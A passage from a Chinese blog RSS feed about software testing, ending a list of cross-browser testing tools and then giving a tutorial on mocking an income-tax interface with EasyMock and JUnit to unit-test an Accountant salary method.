7.CrossBrowserTesting:这是一个完美的测试JavaScript，Ajax和Flash网站在不同浏览器中功能的工具。它提供1周免费试用。你可以在http://crossbrowsertesting.com/上下载</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　8.CloudTesting:如果你想在各种浏览器上测试您的应用程序的浏览器兼容性，如IE，Firefox,Chrome,Opera,那么这个工具很适合你。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　除了这些工具，还有一些其他的工具，如IENetRenderer，Browsera，AdobeBrowserLab等，通过对这些工具进行一段时间的研究和使用，就可以达到事半功倍的效果。</div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421648.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-22 23:46 <a href="http://www.blogjava.net/qileilove/archive/2014/12/22/421648.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>EasyMock构建单元测试</title><link>http://www.blogjava.net/qileilove/archive/2014/12/22/421647.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 15:43:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/22/421647.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421647.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/22/421647.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421647.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421647.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　1. 背景</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">单元测试</strong></u></a>作为程序的基本保障。很多时候构建测试场景是一件令人头疼的事。因为之前的单元测试都是内部代码引用的，环境自给自足。开发到了一定程度，你不得不到开始调用外部的接口来完成你的功能。而外部条件是不稳定的。你为了模拟外部环境要创建各种文件、各种数据。严重影响到单元测试的效率。EasyMock应运而生，他提供了模拟的接口和类。不用费神去构建各种烦人的环境，就能开展有效的测试。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">2. 准备环境</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Easymock 3.2 +&nbsp;<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">JUnit</strong></u></a>&nbsp;4.11</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　3. 构建测试</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　a) 实际场景</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　i. 你负责开发一个会计师的功能。但计算个人所得税的接口由外部提供（鬼知道项目经理是怎么想的）。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　ii. 你的代码已经开发完成了。负责开发个人所得税的接口的同事老婆生了四胞胎，天天请假带孩子。接口没写完。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　iii. 你要完成你的代码并提交<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试用例</strong></u></a>。前提你个懒鬼，半点额外<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">工作</strong></u></a>都不想做。同事老婆生孩子又不能去催。然后你在网上找到了EasyMock.......</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　b) 测试代码</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　i. 个人所得税的接口</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">/**</div><div style="word-break: break-all; margin: 10px 0px;">* Copyright ? 2008-2013, WheatMark, All Rights Reserved</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">package com.fitweber.wheat.interfaces;</div><div style="word-break: break-all; margin: 10px 0px;">/**</div><div style="word-break: break-all; margin: 10px 0px;">* 计算个人所得税</div><div style="word-break: break-all; margin: 10px 0px;">* @author wheatmark hajima11@163.com</div><div style="word-break: break-all; margin: 10px 0px;">* @Blog http://blog.csdn.net/super2007</div><div style="word-break: break-all; margin: 10px 0px;">* @version 1.00.00</div><div style="word-break: break-all; margin: 10px 0px;">* @project wheatMock</div><div style="word-break: break-all; margin: 10px 0px;">* @file com.fitweber.wheat.interfaces.IPersonalIncomeTax.java</div><div style="word-break: break-all; margin: 10px 0px;">* @bulidDate 2013-9-1</div><div style="word-break: break-all; margin: 10px 0px;">* @modifyDate 2013-9-1</div><div style="word-break: break-all; margin: 10px 0px;">* &lt;pre&gt;</div><div style="word-break: break-all; margin: 10px 0px;">* &nbsp; &nbsp;修改记录</div><div style="word-break: break-all; margin: 10px 0px;">* &nbsp; &nbsp;修改后版本: &nbsp; &nbsp; 修改人： &nbsp;修改日期: &nbsp; &nbsp; 修改内容:</div><div style="word-break: break-all; margin: 10px 0px;">* &lt;/pre&gt;</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">public interface IPersonalIncomeTax {</div><div style="word-break: break-all; margin: 10px 0px;">/**</div><div style="word-break: break-all; margin: 10px 0px;">* 计算个人所得税，国内，2013年7级税率</div><div style="word-break: break-all; margin: 10px 0px;">* @param income</div><div style="word-break: break-all; margin: 10px 0px;">* @param deductedBeforeTax</div><div style="word-break: break-all; margin: 10px 0px;">* @return</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">public double calculate(double income,double deductedBeforeTax);</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;">　　ii. 会计师类中计算工资方法</div><div style="word-break: break-all; line-height: normal !important; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">/**</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">* Copyright ? 2008-2013, WheatMark, All Rights Reserved</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">*/</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">package com.fitweber.wheat;</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">import com.fitweber.wheat.interfaces.IPersonalIncomeTax;</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">/**</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">* 会计师类</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">* @author wheatmark hajima11@163.com</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">* @Blog http://blog.csdn.net/super2007</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">* @version 1.00.00</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">* @project wheatMock</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">* @file com.fitweber.wheat.Accountant.java</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">* @bulidDate 2013-9-1</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">* @modifyDate 2013-9-1</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">* &lt;pre&gt;</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">* &nbsp; &nbsp;修改记录</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">* &nbsp; &nbsp;修改后版本: &nbsp; &nbsp; 修改人： &nbsp;修改日期: &nbsp; &nbsp; 修改内容:</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">* &lt;/pre&gt;</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">*/</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">public class Accountant {</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">private IPersonalIncomeTax personalIncomeTax;</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">public Accountant(){</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">}</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">public double calculateSalary(double income){</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">//税前扣除,五险一金中个人扣除的项目。8%的养老保险，2%的医疗保险，1%的失业保险，8%的住房公积金</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">double deductedBeforeTax = income*(0.08+0.02+0.01+0.08);</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">return income - deductedBeforeTax - personalIncomeTax.calculate(income,deductedBeforeTax);</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">}</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">/**</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">* @return the personalIncomeTax</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">*/</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">public IPersonalIncomeTax getPersonalIncomeTax() {</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">return personalIncomeTax;</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">}</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">/**</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">* @param personalIncomeTax the personalIncomeTax to set</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">*/</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">public void setPersonalIncomeTax(IPersonalIncomeTax personalIncomeTax) {</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">this.personalIncomeTax = personalIncomeTax;</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">}</div><div style="word-break: break-all; margin: 10px 0px; background-color: #ffffff;">}</div></td></tr></tbody></table><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">iii. 测试会计师类中计算工资方法</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　或许你不知道个人所得税的计算方式。但是你可以去百度一下。对，百度上有个人所得税计算器。和2011年出台的个人所得税阶梯税率。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=50041" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412161347311CyeX.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　通过百度的帮忙（更多的时候你要求助于业务组的同事）你可以确认如果你同事的个人所得税的计算接口正确的话，传入国内实际收入8000.00，税前扣除1520.00。应该返回193.00的扣税额。然后我们可以设置我们的Mock对象的行为来模仿接口的传入和返回。用断言来确认会计师的计算工资的逻辑。完成了我们的测试用例。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">/**</div><div style="word-break: break-all; margin: 10px 0px;">* Copyright ? 2008-2013, WheatMark, All Rights Reserved</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">package com.fitweber.wheat.test;</div><div style="word-break: break-all; margin: 10px 0px;">import static org.easymock.EasyMock.*;</div><div style="word-break: break-all; margin: 10px 0px;">import junit.framework.Assert;</div><div style="word-break: break-all; margin: 10px 0px;">import org.easymock.IMocksControl;</div><div style="word-break: break-all; margin: 10px 0px;">import org.junit.After;</div><div style="word-break: break-all; margin: 10px 0px;">import org.junit.Before;</div><div style="word-break: break-all; margin: 10px 0px;">import org.junit.Test;</div><div style="word-break: break-all; margin: 10px 0px;">import com.fitweber.wheat.Accountant;</div><div style="word-break: break-all; margin: 10px 0px;">import com.fitweber.wheat.interfaces.IPersonalIncomeTax;</div><div style="word-break: break-all; margin: 10px 0px;">/**</div><div style="word-break: break-all; margin: 10px 0px;">* 会计师测试类</div><div style="word-break: break-all; margin: 10px 0px;">* @author wheatmark hajima11@163.com</div><div style="word-break: break-all; margin: 10px 0px;">* @Blog http://blog.csdn.net/super2007</div><div style="word-break: break-all; margin: 10px 0px;">* @version 1.00.00</div><div style="word-break: break-all; margin: 10px 0px;">* @project wheatMock</div><div style="word-break: break-all; margin: 10px 0px;">* @file com.fitweber.wheat.test.AccountantTest.java</div><div style="word-break: break-all; margin: 10px 0px;">* @bulidDate 2013-9-1</div><div style="word-break: break-all; margin: 10px 0px;">* @modifyDate 2013-9-1</div><div style="word-break: break-all; margin: 10px 0px;">* &lt;pre&gt;</div><div style="word-break: break-all; margin: 10px 0px;">* &nbsp; &nbsp;修改记录</div><div style="word-break: break-all; margin: 10px 0px;">* &nbsp; &nbsp;修改后版本: &nbsp; &nbsp; 修改人： &nbsp;修改日期: &nbsp; &nbsp; 修改内容:</div><div style="word-break: break-all; margin: 10px 0px;">* &lt;/pre&gt;</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">public class AccountantTest {</div><div style="word-break: break-all; margin: 10px 0px;">private IPersonalIncomeTax personalIncomeTax;</div><div style="word-break: break-all; margin: 10px 0px;">private Accountant accountant;</div><div style="word-break: break-all; margin: 10px 0px;">/**</div><div style="word-break: break-all; margin: 10px 0px;">* @throws java.lang.Exception</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">@Before</div><div style="word-break: break-all; margin: 10px 0px;">public void setUp() throws Exception {</div><div style="word-break: break-all; margin: 10px 0px;">IMocksControl control = createControl();</div><div style="word-break: break-all; margin: 10px 0px;">personalIncomeTax = control.createMock(IPersonalIncomeTax.class);</div><div style="word-break: break-all; margin: 10px 0px;">accountant = new Accountant();</div><div style="word-break: break-all; margin: 10px 0px;">accountant.setPersonalIncomeTax(personalIncomeTax);</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">/**</div><div style="word-break: break-all; margin: 10px 0px;">* @throws java.lang.Exception</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">@After</div><div style="word-break: break-all; margin: 10px 0px;">public void tearDown() throws Exception {</div><div style="word-break: break-all; margin: 10px 0px;">System.out.println("----------AccountantTest中的全部用例测试完毕---------");</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">@Test</div><div style="word-break: break-all; margin: 10px 0px;">public void testCalculateSalary(){</div><div style="word-break: break-all; margin: 10px 0px;">//个人所得税的计算接口还没实现，但会计师的计算工资的方法已经写好了。需要测试。</div><div style="word-break: break-all; margin: 10px 0px;">//我们可以先Mock一个出来测试。</div><div style="word-break: break-all; margin: 10px 0px;">//个人所得税的计算接口正确的话，传入实际收入8000.00，税前扣除1520.00。应该返回193.00.</div><div style="word-break: break-all; margin: 10px 0px;">expect(personalIncomeTax.calculate(8000.00,1520.00)).andReturn(193.00);</div><div style="word-break: break-all; margin: 10px 0px;">//设置到回放状态</div><div style="word-break: break-all; margin: 10px 0px;">replay(personalIncomeTax);</div><div style="word-break: break-all; margin: 10px 0px;">//验证计算工资方法计算是否正确。</div><div style="word-break: break-all; margin: 10px 0px;">Assert.assertEquals(8000.00-1520.00-193.00, accountant.calculateSalary(8000.00));</div><div style="word-break: break-all; margin: 10px 0px;">verify(personalIncomeTax);</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table><br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><strong style="word-break: break-all; line-height: normal !important;">4. 执行测试</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　最后是最简单的一步了。右键点击AccountantTest.java，Run As &#8212;&gt; JUnit Test。得到下面的成功界面。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=50042" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412161347312fDQh.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　PS：到上面一步，单元测试已经是完成了。拥有好奇心的你还可以testCalculateSalary()方法里的数值去看看如果单元测试不通过会报什么错。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　比如，改一下所传的参数personalIncomeTax.calculate(8000.00,1520.00)变为personalIncomeTax.calculate(9000.00,1520.00)。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　改一下断言什么的，报错又会是什么。Assert.assertEquals(8000.00-1520.00-193.00, accountant.calculateSalary(8000.00));</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　具体的EasyMock文档在网络上已经漫天飞。自己去找找，深入了解下EasyMock。</div></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"></div><div id="weixin_s" style="word-break: break-all; line-height: 21.6000003814697px; margin: 0px 0px 10px; width: 182px; height: 32px; display: inline-block; position: relative; background: url(http://www.51testing.com/html/wx.jpg) no-repeat;"></div></div></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421647.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" 